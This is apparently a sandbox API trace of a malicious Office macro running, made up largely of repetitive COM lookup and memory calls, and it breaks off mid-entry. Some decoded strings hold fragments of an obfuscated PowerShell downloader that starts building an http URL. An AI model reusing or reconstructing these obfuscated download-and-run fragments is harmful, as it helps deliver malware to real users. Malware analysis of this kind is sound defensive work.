pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.626] IUnknown:Release (This=0x7346470) returned 0xb [0018.626] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.626] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="BRCzVQd", lHashVal=0x10311e, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.626] IUnknown:Release (This=0x7345930) returned 0x7 [0018.626] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.626] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="BRCzVQd", lHashVal=0x10311e, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.626] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.626] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xf) returned 0x7970d60 [0018.626] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_BRCzVQd") returned 0x1034a2 [0018.626] strcpy_s (in: _Dst=0x305370, _DstSize=0xf, _Src="_B_var_BRCzVQd" | out: _Dst="_B_var_BRCzVQd") returned 0x0 [0018.626] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=15, lpWideCharStr=0x3051c0, cchWideChar=15 | out: lpWideCharStr="_B_var_BRCzVQd") returned 15 [0018.626] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.626] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_BRCzVQd", lHashVal=0x1034a2, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.626] IUnknown:Release (This=0x7919520) returned 0xd [0018.626] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.626] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_BRCzVQd", lHashVal=0x1034a2, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.626] IUnknown:Release (This=0x7346470) returned 0xb [0018.627] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.627] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_BRCzVQd", lHashVal=0x1034a2, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.627] IUnknown:Release (This=0x7345930) returned 0x7 [0018.627] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.627] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_BRCzVQd", lHashVal=0x1034a2, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.627] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.627] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.627] IUnknown:Release (This=0x7919520) returned 0xd [0018.627] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6208c, cbMultiByte=145, lpWideCharStr=0xcbf3574, cchWideChar=292 | out: lpWideCharStr="JEa9uu2pt2GlSm6s1.( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeUrqG8hOpnQwT42m3XSQ29") returned 145 [0018.627] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abac80 [0018.627] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.627] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.627] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.627] IUnknown:Release (This=0x7919520) returned 0xd [0018.627] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.627] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UGJALrCHiip") returned 0x105052 [0018.627] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="UGJALrCHiip" | out: _Dst="UGJALrCHiip") returned 0x0 [0018.627] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="UGJALrCHiip") returned 12 [0018.627] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.627] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="UGJALrCHiip", lHashVal=0x105052, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.627] IUnknown:Release (This=0x7919520) returned 0xd [0018.627] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.627] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="UGJALrCHiip", lHashVal=0x105052, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.627] IUnknown:Release (This=0x7346470) returned 0xb [0018.627] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.627] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="UGJALrCHiip", lHashVal=0x105052, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.627] IUnknown:Release (This=0x7345930) returned 0x7 [0018.627] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.627] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="UGJALrCHiip", lHashVal=0x105052, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.627] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.627] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x13) returned 0x7970d60 [0018.627] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_UGJALrCHiip") returned 0x1041b4 [0018.627] strcpy_s (in: _Dst=0x305370, _DstSize=0x13, _Src="_B_var_UGJALrCHiip" | out: _Dst="_B_var_UGJALrCHiip") returned 0x0 [0018.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=19, lpWideCharStr=0x3051c0, cchWideChar=19 | out: lpWideCharStr="_B_var_UGJALrCHiip") returned 19 [0018.628] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.628] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_UGJALrCHiip", lHashVal=0x1041b4, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.628] IUnknown:Release (This=0x7919520) returned 0xd [0018.628] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.628] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_UGJALrCHiip", lHashVal=0x1041b4, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.628] IUnknown:Release (This=0x7346470) returned 0xb [0018.628] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.628] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_UGJALrCHiip", lHashVal=0x1041b4, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.628] IUnknown:Release (This=0x7345930) returned 0x7 [0018.628] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.628] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_UGJALrCHiip", lHashVal=0x1041b4, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.628] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.628] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.628] IUnknown:Release (This=0x7919520) returned 0xd [0018.628] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.628] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcc00000 [0018.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62134, cbMultiByte=10, lpWideCharStr=0xcc003c4, cchWideChar=22 | out: lpWideCharStr="GpjGjAhGJK") returned 10 [0018.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6214e, cbMultiByte=10, lpWideCharStr=0xcc0080e, cchWideChar=22 | out: lpWideCharStr="mDAzSArRjZ") returned 10 [0018.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62162, cbMultiByte=10, lpWideCharStr=0xcc009b8, cchWideChar=22 | out: lpWideCharStr="IhpzGWZLEF") returned 10 [0018.629] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62176, cbMultiByte=10, lpWideCharStr=0xcc00b62, cchWideChar=22 | out: lpWideCharStr="ABzahVduBL") returned 10 [0018.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6218a, cbMultiByte=10, lpWideCharStr=0xcc00d0c, cchWideChar=22 | out: lpWideCharStr="TUDRhwVJhn") returned 10 [0018.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6219e, cbMultiByte=10, lpWideCharStr=0xcc00eb6, cchWideChar=22 | out: lpWideCharStr="rnKipYzjAK") returned 10 [0018.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb621b2, cbMultiByte=10, lpWideCharStr=0xcc01060, cchWideChar=22 | out: lpWideCharStr="aVCEKkEaRz") returned 10 [0018.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb621c6, cbMultiByte=10, lpWideCharStr=0xcc0120a, cchWideChar=22 | out: lpWideCharStr="XzQYGodXPH") returned 10 [0018.631] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UVYjG") returned 0x101f94 [0018.631] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x6, _Src="UVYjG" | out: _Dst="UVYjG") returned 0x0 [0018.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=6, lpWideCharStr=0x305010, cchWideChar=6 | out: lpWideCharStr="UVYjG") returned 6 [0018.631] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.631] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="UVYjG", lHashVal=0x101f94, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.631] IUnknown:Release (This=0x7919520) returned 0xd [0018.631] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.631] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="UVYjG", lHashVal=0x101f94, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.631] IUnknown:Release (This=0x7346470) returned 0xb [0018.631] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.631] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="UVYjG", lHashVal=0x101f94, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.631] IUnknown:Release (This=0x7345930) returned 0x7 [0018.631] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.631] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="UVYjG", lHashVal=0x101f94, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.631] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.631] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xd) returned 0x7970d60 [0018.631] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_UVYjG") returned 0x10e3c0 [0018.631] strcpy_s (in: _Dst=0x305370, _DstSize=0xd, _Src="_B_var_UVYjG" | out: _Dst="_B_var_UVYjG") returned 0x0 [0018.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=13, lpWideCharStr=0x3051c0, cchWideChar=13 | out: lpWideCharStr="_B_var_UVYjG") returned 13 [0018.631] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.631] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_UVYjG", lHashVal=0x10e3c0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.631] IUnknown:Release (This=0x7919520) returned 0xd [0018.631] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.631] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_UVYjG", lHashVal=0x10e3c0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.631] IUnknown:Release (This=0x7346470) returned 0xb [0018.631] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.631] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_UVYjG", lHashVal=0x10e3c0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.631] IUnknown:Release (This=0x7345930) returned 0x7 [0018.631] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.631] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_UVYjG", lHashVal=0x10e3c0, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.631] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.631] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.631] IUnknown:Release (This=0x7919520) returned 0xd [0018.631] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.631] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb621e4, cbMultiByte=10, lpWideCharStr=0xcc0367c, cchWideChar=22 | out: lpWideCharStr="qzwPfQLzfE") returned 10 [0018.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb621fe, cbMultiByte=10, lpWideCharStr=0xcc03ac6, cchWideChar=22 | out: lpWideCharStr="mwjVHnlFvi") returned 10 [0018.632] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abaed0 [0018.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62212, cbMultiByte=10, lpWideCharStr=0xcc03c70, cchWideChar=22 | out: lpWideCharStr="BDsNBnUHQB") returned 10 [0018.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62226, cbMultiByte=10, lpWideCharStr=0xcc03e1a, cchWideChar=22 | out: lpWideCharStr="zqlNisGiEz") returned 10 [0018.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6223a, cbMultiByte=10, lpWideCharStr=0xcc03fc4, cchWideChar=22 | out: lpWideCharStr="hbUcnJwoCP") returned 10 [0018.632] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcc10000 [0018.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb6224e, cbMultiByte=10, lpWideCharStr=0xcc10194, cchWideChar=22 | out: lpWideCharStr="aAnZmmElNs") returned 10 [0018.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62262, cbMultiByte=10, lpWideCharStr=0xcc1033e, cchWideChar=22 | out: lpWideCharStr="wEidFvLVrP") returned 10 [0018.633] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62276, cbMultiByte=10, lpWideCharStr=0xcc104e8, cchWideChar=22 | out: lpWideCharStr="jCBwAZjPZr") returned 10 [0018.634] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="nllVbfYt") returned 0x10f910 [0018.634] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x9, _Src="nllVbfYt" | out: _Dst="nllVbfYt") returned 0x0 [0018.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=9, lpWideCharStr=0x305010, cchWideChar=9 | out: lpWideCharStr="nllVbfYt") returned 9 [0018.634] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.634] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="nllVbfYt", lHashVal=0x10f910, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.634] IUnknown:Release (This=0x7919520) returned 0xd [0018.634] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.634] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="nllVbfYt", lHashVal=0x10f910, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.634] IUnknown:Release (This=0x7346470) returned 0xb [0018.634] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.634] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="nllVbfYt", lHashVal=0x10f910, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.634] IUnknown:Release (This=0x7345930) returned 0x7 [0018.634] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.634] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="nllVbfYt", lHashVal=0x10f910, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.634] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.634] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970d60 [0018.634] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_nllVbfYt") returned 0x10d099 [0018.634] strcpy_s (in: _Dst=0x305370, _DstSize=0x10, _Src="_B_var_nllVbfYt" | out: _Dst="_B_var_nllVbfYt") returned 0x0 [0018.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=16, lpWideCharStr=0x3051c0, cchWideChar=16 | out: lpWideCharStr="_B_var_nllVbfYt") returned 16 [0018.634] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.634] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_nllVbfYt", lHashVal=0x10d099, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.634] IUnknown:Release (This=0x7919520) returned 0xd [0018.634] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.634] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_nllVbfYt", lHashVal=0x10d099, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.634] IUnknown:Release (This=0x7346470) returned 0xb [0018.634] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.634] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_nllVbfYt", lHashVal=0x10d099, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.634] IUnknown:Release (This=0x7345930) returned 0x7 [0018.634] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.634] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_nllVbfYt", lHashVal=0x10d099, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.634] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.634] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.634] IUnknown:Release (This=0x7919520) returned 0xd [0018.634] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62294, cbMultiByte=10, lpWideCharStr=0xcc1295a, cchWideChar=22 | out: lpWideCharStr="oKrBjJwicq") returned 10 [0018.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb622ae, cbMultiByte=10, lpWideCharStr=0xcc12da4, cchWideChar=22 | out: lpWideCharStr="jjPzIfMiJc") returned 10 [0018.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb622c2, cbMultiByte=10, lpWideCharStr=0xcc12f4e, cchWideChar=22 | out: lpWideCharStr="AjjOsVEciu") returned 10 [0018.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb622d6, cbMultiByte=10, lpWideCharStr=0xcc130f8, cchWideChar=22 | out: lpWideCharStr="cjHuPoWljf") returned 10 [0018.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb622ea, cbMultiByte=10, lpWideCharStr=0xcc132a2, cchWideChar=22 | out: lpWideCharStr="CjWSzzvqHT") returned 10 [0018.635] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb622fe, cbMultiByte=10, lpWideCharStr=0xcc1344c, cchWideChar=22 | out: lpWideCharStr="lFoiWFicIK") returned 10 [0018.635] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abb120 [0018.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62312, cbMultiByte=10, lpWideCharStr=0xcc135f6, cchWideChar=22 | out: lpWideCharStr="ETvhOAZUhU") returned 10 [0018.636] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62326, cbMultiByte=10, lpWideCharStr=0xcc137a0, cchWideChar=22 | out: lpWideCharStr="JbviZUNOPv") returned 10 [0018.636] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xcc20000 [0018.641] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="iRdIEQXv") returned 0x10e229 [0018.641] strcpy_s (in: _Dst=0x3051c0, _DstSize=0x9, _Src="iRdIEQXv" | out: _Dst="iRdIEQXv") returned 0x0 [0018.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=9, lpWideCharStr=0x305010, cchWideChar=9 | out: lpWideCharStr="iRdIEQXv") returned 9 [0018.641] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.642] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="iRdIEQXv", lHashVal=0x10e229, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.642] IUnknown:Release (This=0x7919520) returned 0xd [0018.642] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.642] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="iRdIEQXv", lHashVal=0x10e229, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.642] IUnknown:Release (This=0x7346470) returned 0xb [0018.642] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.642] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="iRdIEQXv", lHashVal=0x10e229, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.642] IUnknown:Release (This=0x7345930) returned 0x7 [0018.642] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.642] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="iRdIEQXv", lHashVal=0x10e229, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.642] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.642] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x7970d60 [0018.642] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_iRdIEQXv") returned 0x10b9b2 [0018.642] strcpy_s (in: _Dst=0x305370, _DstSize=0x10, _Src="_B_var_iRdIEQXv" | out: _Dst="_B_var_iRdIEQXv") returned 0x0 [0018.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x305370, cbMultiByte=16, lpWideCharStr=0x3051c0, cchWideChar=16 | out: lpWideCharStr="_B_var_iRdIEQXv") returned 16 [0018.642] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.642] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="_B_var_iRdIEQXv", lHashVal=0x10b9b2, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.642] IUnknown:Release (This=0x7919520) returned 0xd [0018.642] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.642] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="_B_var_iRdIEQXv", lHashVal=0x10b9b2, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.642] IUnknown:Release (This=0x7346470) returned 0xb [0018.642] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.642] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="_B_var_iRdIEQXv", lHashVal=0x10b9b2, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.642] IUnknown:Release (This=0x7345930) returned 0x7 [0018.642] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0018.642] ITypeLib:RemoteIsName (in: This=0x7919ac0, szNameBuf="_B_var_iRdIEQXv", lHashVal=0x10b9b2, pfName=0x305290, pBstrLibName=0x3051c0 | out: pfName=0x305290*=0, pBstrLibName=0x3051c0) returned 0x0 [0018.642] IUnknown:Release (This=0x7919ac0) returned 0x4 [0018.642] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.642] IUnknown:Release (This=0x7919520) returned 0xd [0018.642] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.642] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbb62344, cbMultiByte=203, lpWideCharStr=0xcc21c2c, cchWideChar=408 | out: lpWideCharStr="i1FSCJuYp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp://wwwqw14z9dL") returned 203 [0018.642] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0x7abb370 [0018.642] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb) returned 0x7970d60 [0018.642] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0018.642] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.642] IUnknown:Release (This=0x7919520) returned 0xd [0018.642] IMalloc:Free (This=0x7fefe9e5380, pv=0x7970d60) [0018.643] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="UCzOjDfJpWA") returned 0x10e238 [0018.643] strcpy_s (in: _Dst=0x3051c0, _DstSize=0xc, _Src="UCzOjDfJpWA" | out: _Dst="UCzOjDfJpWA") returned 0x0 [0018.643] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3051c0, cbMultiByte=12, lpWideCharStr=0x305010, cchWideChar=12 | out: lpWideCharStr="UCzOjDfJpWA") returned 12 [0018.643] IUnknown:AddRef (This=0x7919520) returned 0xe [0018.643] ITypeLib:RemoteIsName (in: This=0x7919520, szNameBuf="UCzOjDfJpWA", lHashVal=0x10e238, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.643] IUnknown:Release (This=0x7919520) returned 0xd [0018.643] IUnknown:AddRef (This=0x7346470) returned 0xc [0018.643] ITypeLib:RemoteIsName (in: This=0x7346470, szNameBuf="UCzOjDfJpWA", lHashVal=0x10e238, pfName=0x3050e0, pBstrLibName=0x305010 | out: pfName=0x3050e0*=0, pBstrLibName=0x305010) returned 0x0 [0018.643] IUnknown:Release (This=0x7346470) returned 0xb [0018.643] IUnknown:AddRef (This=0x7345930) returned 0x8 [0018.643] ITypeLib:RemoteIsName (in: This=0x7345930, szNameBuf="UCzOjDfJpWA", lHashVal=0x10e238, pfName=0x3050e0, pBstrLibName=0x305010 | out: 